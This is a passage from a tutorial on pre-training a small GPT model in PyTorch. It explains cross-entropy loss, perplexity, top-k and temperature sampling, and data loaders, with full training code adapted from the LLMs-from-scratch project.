Then, for each entry with a context length of 5 tokens for example, the model will need to predict 5 tokens, being the first 4 tokens the last one of the input and the fifth the predicted one. Therefore, for each entry we will have 5 predictions in that case (even if the first 4 ones were in the input the model doesn't know this) with 5 expected token and therefore 5 probabilities to maximize.
|
||||
|
||||
Therefore, after performing the natural logarithm to each prediction, the **average** is calculated, the **minus symbol removed** (this is called _cross entropy loss_) and thats the **number to reduce as close to 0 as possible** because the natural logarithm of 1 is 0:
|
||||
|
||||
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
|
||||
|
||||
Another way to measure how good the model is is called perplexity. **Perplexity** is a metric used to evaluate how well a probability model predicts a sample. In language modelling, it represents the **model's uncertainty** when predicting the next token in a sequence.\
|
||||
For example, a perplexity value of 48725, means that when needed to predict a token it's unsure about which among 48,725 tokens in the vocabulary is the good one.
|
||||
|
||||
## Pre-Train Example
|
||||
|
||||
This is the initial code proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) some times slightly modify
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Previous code used here but already explained in previous sections</summary>
|
||||
|
||||
```python
|
||||
"""
|
||||
This is code explained before so it won't be exaplained
|
||||
"""
|
||||
|
||||
import tiktoken
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
from torch.utils.data import Dataset, DataLoader
|
||||
|
||||
|
||||
class GPTDatasetV1(Dataset):
|
||||
def __init__(self, txt, tokenizer, max_length, stride):
|
||||
self.input_ids = []
|
||||
self.target_ids = []
|
||||
|
||||
# Tokenize the entire text
|
||||
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
|
||||
|
||||
# Use a sliding window to chunk the book into overlapping sequences of max_length
|
||||
for i in range(0, len(token_ids) - max_length, stride):
|
||||
input_chunk = token_ids[i:i + max_length]
|
||||
target_chunk = token_ids[i + 1: i + max_length + 1]
|
||||
self.input_ids.append(torch.tensor(input_chunk))
|
||||
self.target_ids.append(torch.tensor(target_chunk))
|
||||
|
||||
def __len__(self):
|
||||
return len(self.input_ids)
|
||||
|
||||
def __getitem__(self, idx):
|
||||
return self.input_ids[idx], self.target_ids[idx]
|
||||
|
||||
|
||||
def create_dataloader_v1(txt, batch_size=4, max_length=256,
|
||||
stride=128, shuffle=True, drop_last=True, num_workers=0):
|
||||
# Initialize the tokenizer
|
||||
tokenizer = tiktoken.get_encoding("gpt2")
|
||||
|
||||
# Create dataset
|
||||
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
|
||||
|
||||
# Create dataloader
|
||||
dataloader = DataLoader(
|
||||
dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last, num_workers=num_workers)
|
||||
|
||||
return dataloader
|
||||
|
||||
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert d_out % num_heads == 0, "d_out must be divisible by n_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.reshape(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
|
||||
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
|
||||
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.layers(x)
|
||||
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"])
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x
|
||||
x = self.norm1(x)
|
||||
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
# Shortcut connection for feed-forward block
|
||||
shortcut = x
|
||||
x = self.norm2(x)
|
||||
x = self.ff(x)
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
return x
|
||||
|
||||
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
|
||||
|
||||
def forward(self, in_idx):
|
||||
batch_size, seq_len = in_idx.shape
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
|
||||
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_emb(x)
|
||||
x = self.trf_blocks(x)
|
||||
x = self.final_norm(x)
|
||||
logits = self.out_head(x)
|
||||
return logits
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
```python
|
||||
# Download contents to train the data with
|
||||
import os
|
||||
import urllib.request
|
||||
|
||||
file_path = "the-verdict.txt"
|
||||
url = "https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt"
|
||||
|
||||
if not os.path.exists(file_path):
|
||||
with urllib.request.urlopen(url) as response:
|
||||
text_data = response.read().decode('utf-8')
|
||||
with open(file_path, "w", encoding="utf-8") as file:
|
||||
file.write(text_data)
|
||||
else:
|
||||
with open(file_path, "r", encoding="utf-8") as file:
|
||||
text_data = file.read()
|
||||
|
||||
total_characters = len(text_data)
|
||||
tokenizer = tiktoken.get_encoding("gpt2")
|
||||
total_tokens = len(tokenizer.encode(text_data))
|
||||
|
||||
print("Data downloaded")
|
||||
print("Characters:", total_characters)
|
||||
print("Tokens:", total_tokens)
|
||||
|
||||
# Model initialization
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 256, # Shortened context length (orig: 1024)
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-key-value bias
|
||||
}
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
model.eval()
|
||||
print ("Model initialized")
|
||||
|
||||
|
||||
# Functions to transform from tokens to ids and from to ids to tokens
|
||||
def text_to_token_ids(text, tokenizer):
|
||||
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
|
||||
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
|
||||
return encoded_tensor
|
||||
|
||||
def token_ids_to_text(token_ids, tokenizer):
|
||||
flat = token_ids.squeeze(0) # remove batch dimension
|
||||
return tokenizer.decode(flat.tolist())
|
||||
|
||||
|
||||
|
||||
# Define loss functions
|
||||
def calc_loss_batch(input_batch, target_batch, model, device):
|
||||
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
|
||||
logits = model(input_batch)
|
||||
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
|
||||
return loss
|
||||
|
||||
|
||||
def calc_loss_loader(data_loader, model, device, num_batches=None):
|
||||
total_loss = 0.
|
||||
if len(data_loader) == 0:
|
||||
return float("nan")
|
||||
elif num_batches is None:
|
||||
num_batches = len(data_loader)
|
||||
else:
|
||||
# Reduce the number of batches to match the total number of batches in the data loader
|
||||
# if num_batches exceeds the number of batches in the data loader
|
||||
num_batches = min(num_batches, len(data_loader))
|
||||
for i, (input_batch, target_batch) in enumerate(data_loader):
|
||||
if i < num_batches:
|
||||
loss = calc_loss_batch(input_batch, target_batch, model, device)
|
||||
total_loss += loss.item()
|
||||
else:
|
||||
break
|
||||
return total_loss / num_batches
|
||||
|
||||
|
||||
# Apply Train/validation ratio and create dataloaders
|
||||
train_ratio = 0.90
|
||||
split_idx = int(train_ratio * len(text_data))
|
||||
train_data = text_data[:split_idx]
|
||||
val_data = text_data[split_idx:]
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
train_loader = create_dataloader_v1(
|
||||
train_data,
|
||||
batch_size=2,
|
||||
max_length=GPT_CONFIG_124M["context_length"],
|
||||
stride=GPT_CONFIG_124M["context_length"],
|
||||
drop_last=True,
|
||||
shuffle=True,
|
||||
num_workers=0
|
||||
)
|
||||
|
||||
val_loader = create_dataloader_v1(
|
||||
val_data,
|
||||
batch_size=2,
|
||||
max_length=GPT_CONFIG_124M["context_length"],
|
||||
stride=GPT_CONFIG_124M["context_length"],
|
||||
drop_last=False,
|
||||
shuffle=False,
|
||||
num_workers=0
|
||||
)
|
||||
|
||||
|
||||
# Sanity checks
|
||||
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
|
||||
print("Not enough tokens for the training loader. "
|
||||
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
|
||||
"increase the `training_ratio`")
|
||||
|
||||
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
|
||||
print("Not enough tokens for the validation loader. "
|
||||
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
|
||||
"decrease the `training_ratio`")
|
||||
|
||||
print("Train loader:")
|
||||
for x, y in train_loader:
|
||||
print(x.shape, y.shape)
|
||||
|
||||
print("\nValidation loader:")
|
||||
for x, y in val_loader:
|
||||
print(x.shape, y.shape)
|
||||
|
||||
train_tokens = 0
|
||||
for input_batch, target_batch in train_loader:
|
||||
train_tokens += input_batch.numel()
|
||||
|
||||
val_tokens = 0
|
||||
for input_batch, target_batch in val_loader:
|
||||
val_tokens += input_batch.numel()
|
||||
|
||||
print("Training tokens:", train_tokens)
|
||||
print("Validation tokens:", val_tokens)
|
||||
print("All tokens:", train_tokens + val_tokens)
|
||||
|
||||
|
||||
# Indicate the device to use
|
||||
if torch.cuda.is_available():
|
||||
device = torch.device("cuda")
|
||||
elif torch.backends.mps.is_available():
|
||||
device = torch.device("mps")
|
||||
else:
|
||||
device = torch.device("cpu")
|
||||
|
||||
print(f"Using {device} device.")
|
||||
|
||||
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
|
||||
|
||||
|
||||
|
||||
# Pre-calculate losses without starting yet
|
||||
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
|
||||
|
||||
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
|
||||
train_loss = calc_loss_loader(train_loader, model, device)
|
||||
val_loss = calc_loss_loader(val_loader, model, device)
|
||||
|
||||
print("Training loss:", train_loss)
|
||||
print("Validation loss:", val_loss)
|
||||
|
||||
|
||||
# Functions to train the data
|
||||
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
|
||||
eval_freq, eval_iter, start_context, tokenizer):
|
||||
# Initialize lists to track losses and tokens seen
|
||||
train_losses, val_losses, track_tokens_seen = [], [], []
|
||||
tokens_seen, global_step = 0, -1
|
||||
|
||||
# Main training loop
|
||||
for epoch in range(num_epochs):
|
||||
model.train() # Set model to training mode
|
||||
|
||||
for input_batch, target_batch in train_loader:
|
||||
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
|
||||
loss = calc_loss_batch(input_batch, target_batch, model, device)
|
||||
loss.backward() # Calculate loss gradients
|
||||
optimizer.step() # Update model weights using loss gradients
|
||||
tokens_seen += input_batch.numel()
|
||||
global_step += 1
|
||||
|
||||
# Optional evaluation step
|
||||
if global_step % eval_freq == 0:
|
||||
train_loss, val_loss = evaluate_model(
|
||||
model, train_loader, val_loader, device, eval_iter)
|
||||
train_losses.append(train_loss)
|
||||
val_losses.append(val_loss)
|
||||
track_tokens_seen.append(tokens_seen)
|
||||
print(f"Ep {epoch+1} (Step {global_step:06d}): "
|
||||
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
|
||||
|
||||
# Print a sample text after each epoch
|
||||
generate_and_print_sample(
|
||||
model, tokenizer, device, start_context
|
||||
)
|
||||
|
||||
return train_losses, val_losses, track_tokens_seen
|
||||
|
||||
|
||||
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
|
||||
model.eval()
|
||||
with torch.no_grad():
|
||||
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
|
||||
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
|
||||
model.train()
|
||||
return train_loss, val_loss
|
||||
|
||||
|
||||
def generate_and_print_sample(model, tokenizer, device, start_context):
|
||||
model.eval()
|
||||
context_size = model.pos_emb.weight.shape[0]
|
||||
encoded = text_to_token_ids(start_context, tokenizer).to(device)
|
||||
with torch.no_grad():
|
||||
token_ids = generate_text(
|
||||
model=model, idx=encoded,
|
||||
max_new_tokens=50, context_size=context_size
|
||||
)
|
||||
decoded_text = token_ids_to_text(token_ids, tokenizer)
|
||||
print(decoded_text.replace("\n", " ")) # Compact print format
|
||||
model.train()
|
||||
|
||||
|
||||
# Start training!
|
||||
import time
|
||||
start_time = time.time()
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
model.to(device)
|
||||
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
|
||||
|
||||
num_epochs = 10
|
||||
train_losses, val_losses, tokens_seen = train_model_simple(
|
||||
model, train_loader, val_loader, optimizer, device,
|
||||
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
|
||||
start_context="Every effort moves you", tokenizer=tokenizer
|
||||
)
|
||||
|
||||
end_time = time.time()
|
||||
execution_time_minutes = (end_time - start_time) / 60
|
||||
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
|
||||
|
||||
|
||||
|
||||
# Show graphics with the training process
|
||||
import matplotlib.pyplot as plt
|
||||
from matplotlib.ticker import MaxNLocator
|
||||
import math
|
||||
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
|
||||
fig, ax1 = plt.subplots(figsize=(5, 3))
|
||||
ax1.plot(epochs_seen, train_losses, label="Training loss")
|
||||
ax1.plot(
|
||||
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
|
||||
)
|
||||
ax1.set_xlabel("Epochs")
|
||||
ax1.set_ylabel("Loss")
|
||||
ax1.legend(loc="upper right")
|
||||
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
|
||||
ax2 = ax1.twiny()
|
||||
ax2.plot(tokens_seen, train_losses, alpha=0)
|
||||
ax2.set_xlabel("Tokens seen")
|
||||
fig.tight_layout()
|
||||
plt.show()
|
||||
|
||||
# Compute perplexity from the loss values
|
||||
train_ppls = [math.exp(loss) for loss in train_losses]
|
||||
val_ppls = [math.exp(loss) for loss in val_losses]
|
||||
# Plot perplexity over tokens seen
|
||||
plt.figure()
|
||||
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
|
||||
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
|
||||
plt.xlabel('Tokens Seen')
|
||||
plt.ylabel('Perplexity')
|
||||
plt.title('Perplexity over Training')
|
||||
plt.legend()
|
||||
plt.show()
|
||||
|
||||
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
|
||||
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
|
||||
|
||||
|
||||
torch.save({
|
||||
"model_state_dict": model.state_dict(),
|
||||
"optimizer_state_dict": optimizer.state_dict(),
|
||||
},
|
||||
"/tmp/model_and_optimizer.pth"
|
||||
)
|
||||
```
|
||||
|
||||
Let's see an explanation step by step
|
||||
|
||||
### Functions to transform text <--> ids
|
||||
|
||||
These are some simple functions that can be used to transform from texts from the vocabulary to ids and backwards. This is needed at the begging of the handling of the text and at the end fo the predictions:
|
||||
|
||||
```python
|
||||
# Functions to transform from tokens to ids and from to ids to tokens
|
||||
def text_to_token_ids(text, tokenizer):
|
||||
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
|
||||
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
|
||||
return encoded_tensor
|
||||
|
||||
def token_ids_to_text(token_ids, tokenizer):
|
||||
flat = token_ids.squeeze(0) # remove batch dimension
|
||||
return tokenizer.decode(flat.tolist())
|
||||
```
|
||||
|
||||
### Generate text functions
|
||||
|
||||
In a previos section a function that just got the **most probable token** after getting the logits. However, this will mean that for each entry the same output is always going to be generated which makes it very deterministic.
|
||||
|
||||
The following `generate_text` function, will apply the `top-k` , `temperature` and `multinomial` concepts.
|
||||
|
||||
- The **`top-k`** means that we will start reducing to `-inf` all the probabilities of all the tokens expect of the top k tokens. So, if k=3, before making a decision only the 3 most probably tokens will have a probability different from `-inf`.
|
||||
- The **`temperature`** means that every probability will be divided by the temperature value. A value of `0.1` will improve the highest probability compared with the lowest one, while a temperature of `5` for example will make it more flat. This helps to improve to variation in responses we would like the LLM to have.
|
||||
- After applying the temperature, a **`softmax`** function is applied again to make all the reminding tokens have a total probability of 1.
|
||||
- Finally, instead of choosing the token with the biggest probability, the function **`multinomial`** is applied to **predict the next token according to the final probabilities**. So if token 1 had a 70% of probabilities, token 2 a 20% and token 3 a 10%, 70% of the times token 1 will be selected, 20% of the times it will be token 2 and 10% of the times will be 10%.
|
||||
|
||||
```python
|
||||
# Generate text function
|
||||
def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None):
|
||||
|
||||
# For-loop is the same as before: Get logits, and only focus on last time step
|
||||
for _ in range(max_new_tokens):
|
||||
idx_cond = idx[:, -context_size:]
|
||||
with torch.no_grad():
|
||||
logits = model(idx_cond)
|
||||
logits = logits[:, -1, :]
|
||||
|
||||
# New: Filter logits with top_k sampling
|
||||
if top_k is not None:
|
||||
# Keep only top_k values
|
||||
top_logits, _ = torch.topk(logits, top_k)
|
||||
min_val = top_logits[:, -1]
|
||||
logits = torch.where(logits < min_val, torch.tensor(float("-inf")).to(logits.device), logits)
|
||||
|
||||
# New: Apply temperature scaling
|
||||
if temperature > 0.0:
|
||||
logits = logits / temperature
|
||||
|
||||
# Apply softmax to get probabilities
|
||||
probs = torch.softmax(logits, dim=-1) # (batch_size, context_len)
|
||||
|
||||
# Sample from the distribution
|
||||
idx_next = torch.multinomial(probs, num_samples=1) # (batch_size, 1)
|
||||
|
||||
# Otherwise same as before: get idx of the vocab entry with the highest logits value
|
||||
else:
|
||||
idx_next = torch.argmax(logits, dim=-1, keepdim=True) # (batch_size, 1)
|
||||
|
||||
if idx_next == eos_id: # Stop generating early if end-of-sequence token is encountered and eos_id is specified
|
||||
break
|
||||
|
||||
# Same as before: append sampled index to the running sequence
|
||||
idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
|
||||
|
||||
return idx
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> There is a common alternative to `top-k` called [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), also known as nucleus sampling, which instead of getting k samples with the most probability, it **organizes** all the resulting **vocabulary** by probabilities and **sums** them from the highest probability to the lowest until a **threshold is reached**.
|
||||
>
|
||||
> Then, **only those words** of the vocabulary will be considered according to their relative probabilities 
|
||||
>
|
||||
> This allows to not need to select a number of `k` samples, as the optimal k might be different on each case, but **only a threshold**.
|
||||
>
|
||||
> _Note that this improvement isn't included in the previous code._
|
||||
|
||||
> [!NOTE]
|
||||
> Another way to improve the generated text is by using **Beam search** instead of the greedy search sued in this example.\
|
||||
> Unlike greedy search, which selects the most probable next word at each step and builds a single sequence, **beam search keeps track of the top 𝑘 k highest-scoring partial sequences** (called "beams") at each step. By exploring multiple possibilities simultaneously, it balances efficiency and quality, increasing the chances of **finding a better overall** sequence that might be missed by the greedy approach due to early, suboptimal choices.
|
||||
>
|
||||
> _Note that this improvement isn't included in the previous code._
|
||||
|
||||
### Loss functions
|
||||
|
||||
The **`calc_loss_batch`** function calculates the cross entropy of the a prediction of a single batch.\
|
||||
The **`calc_loss_loader`** gets the cross entropy of all the batches and calculates the **average cross entropy**.
|
||||
|
||||
```python
|
||||
# Define loss functions
|
||||
def calc_loss_batch(input_batch, target_batch, model, device):
|
||||
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
|
||||
logits = model(input_batch)
|
||||
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
|
||||
return loss
|
||||
|
||||
def calc_loss_loader(data_loader, model, device, num_batches=None):
|
||||
total_loss = 0.
|
||||
if len(data_loader) == 0:
|
||||
return float("nan")
|
||||
elif num_batches is None:
|
||||
num_batches = len(data_loader)
|
||||
else:
|
||||
# Reduce the number of batches to match the total number of batches in the data loader
|
||||
# if num_batches exceeds the number of batches in the data loader
|
||||
num_batches = min(num_batches, len(data_loader))
|
||||
for i, (input_batch, target_batch) in enumerate(data_loader):
|
||||
if i < num_batches:
|
||||
loss = calc_loss_batch(input_batch, target_batch, model, device)
|
||||
total_loss += loss.item()
|
||||
else:
|
||||
break
|
||||
return total_loss / num_batches
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> **Gradient clipping** is a technique used to enhance **training stability** in large neural networks by setting a **maximum threshold** for gradient magnitudes. When gradients exceed this predefined `max_norm`, they are scaled down proportionally to ensure that updates to the model’s parameters remain within a manageable range, preventing issues like exploding gradients and ensuring more controlled and stable training.
|
||||
>
|
||||
> _Note that this improvement isn't included in the previous code._
|
||||
>
|
||||
> Check the following example:
|
||||
|
||||
<figure><img src="../../images/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Loading Data
|
||||
|
||||
The functions `create_dataloader_v1` and `create_dataloader_v1` were already discussed in a previous section.
|
||||
|
||||
From here note how it's defined that 90% of the text is going to be used for training while the 10% will be used for validation and both sets are stored in 2 different data loaders.\
|
||||
Note that some times part of the data set is also left for a testing set to evaluate better the performance of the model.
|
||||
|
||||
Both data loaders are using the same batch size, maximum length and stride and num workers (0 in this case).\
|
||||
The main differences are the data used by each, and the the validators is not dropping the last neither shuffling the data is it's not needed for validation purposes.
|
||||
|
||||
Also the fact that **stride is as big as the context length**, means that there won't be overlapping between contexts used to train the data (reduces overfitting but also the training data set).
|
||||
|
||||
Moreover, note that the batch size in this case it 2 to divide the data in 2 batches, the main goal of this is to allow parallel processing and reduce the consumption per batch.
|
||||
|
||||
```python
|
||||
train_ratio = 0.90
|
||||
split_idx = int(train_ratio * len(text_data))
|
||||
train_data = text_data[:split_idx]
|
||||
val_data = text_data[split_idx:]
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
train_loader = create_dataloader_v1(
|
||||
train_data,
|
||||
batch_size=2,
|
||||
max_length=GPT_CONFIG_124M["context_length"],
|
||||
stride=GPT_CONFIG_124M["context_length"],
|
||||
drop_last=True,
|
||||
shuffle=True,
|
||||
num_workers=0
|
||||
)
|
||||
|
||||
val_loader = create_dataloader_v1(
|
||||
val_data,
|
||||
batch_size=2,
|
||||
max_length=GPT_CONFIG_124M["context_length"],
|
||||
stride=GPT_CONFIG_124M["context_length"],
|
||||
drop_last=False,
|
||||
shuffle=False,
|
||||
num_workers=0
|
||||
)
|
||||
```
|
||||
|
||||
## Sanity Checks
|
||||
|
||||
The goal is to check there are enough tokens for training, shapes are the expected ones and get some info about the number of tokens used for training and for validation:
|
||||
|
||||
```python
|
||||
# Sanity checks
|
||||
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
|
||||
print("Not enough tokens for the training loader. "
|
||||
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
|
||||
"increase the `training_ratio`")
|
||||
|
||||
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
|
||||
print("Not enough tokens for the validation loader. "
|
||||
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
|
||||
"decrease the `training_ratio`")
|
||||
|
||||
print("Train loader:")
|
||||
for x, y in train_loader:
|
||||
print(x.shape, y.shape)
|
||||
|
||||
print("\nValidation loader:")
|
||||
for x, y in val_loader:
|
||||
print(x.shape, y.shape)
|
||||
|
||||
train_tokens = 0
|
||||
for input_batch, target_batch in train_loader:
|
||||
train_tokens += input_batch.numel()
|
||||
|
||||
val_tokens = 0
|
||||
for input_batch, target_batch in val_loader:
|
||||
val_tokens += input_batch.numel()
|
||||
|
||||
print("Training tokens:", train_tokens)
|
||||
print("Validation tokens:", val_tokens)
|
||||
print("All tokens:", train_tokens + val_tokens)
|
||||
```
|
||||
|
||||
### Select device for training & pre calculations
|
||||
|
||||
The following code just select the device to use and calculates a training loss and validation loss (without having trained anything yet) as a starting point.
|
||||
|
||||
```python
|
||||
# Indicate the device to use
|
||||
|
||||
if torch.cuda.is_available():
|
||||
device = torch.device("cuda")
|
||||
elif torch.backends.mps.is_available():
|
||||
device = torch.device("mps")
|
||||
else:
|
||||
device = torch.device("cpu")
|
||||
|
||||
print(f"Using {device} device.")
|
||||
|
||||
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
|
||||
|
||||
# Pre-calculate losses without starting yet
|
||||
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
|
||||
|
||||
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
|
||||
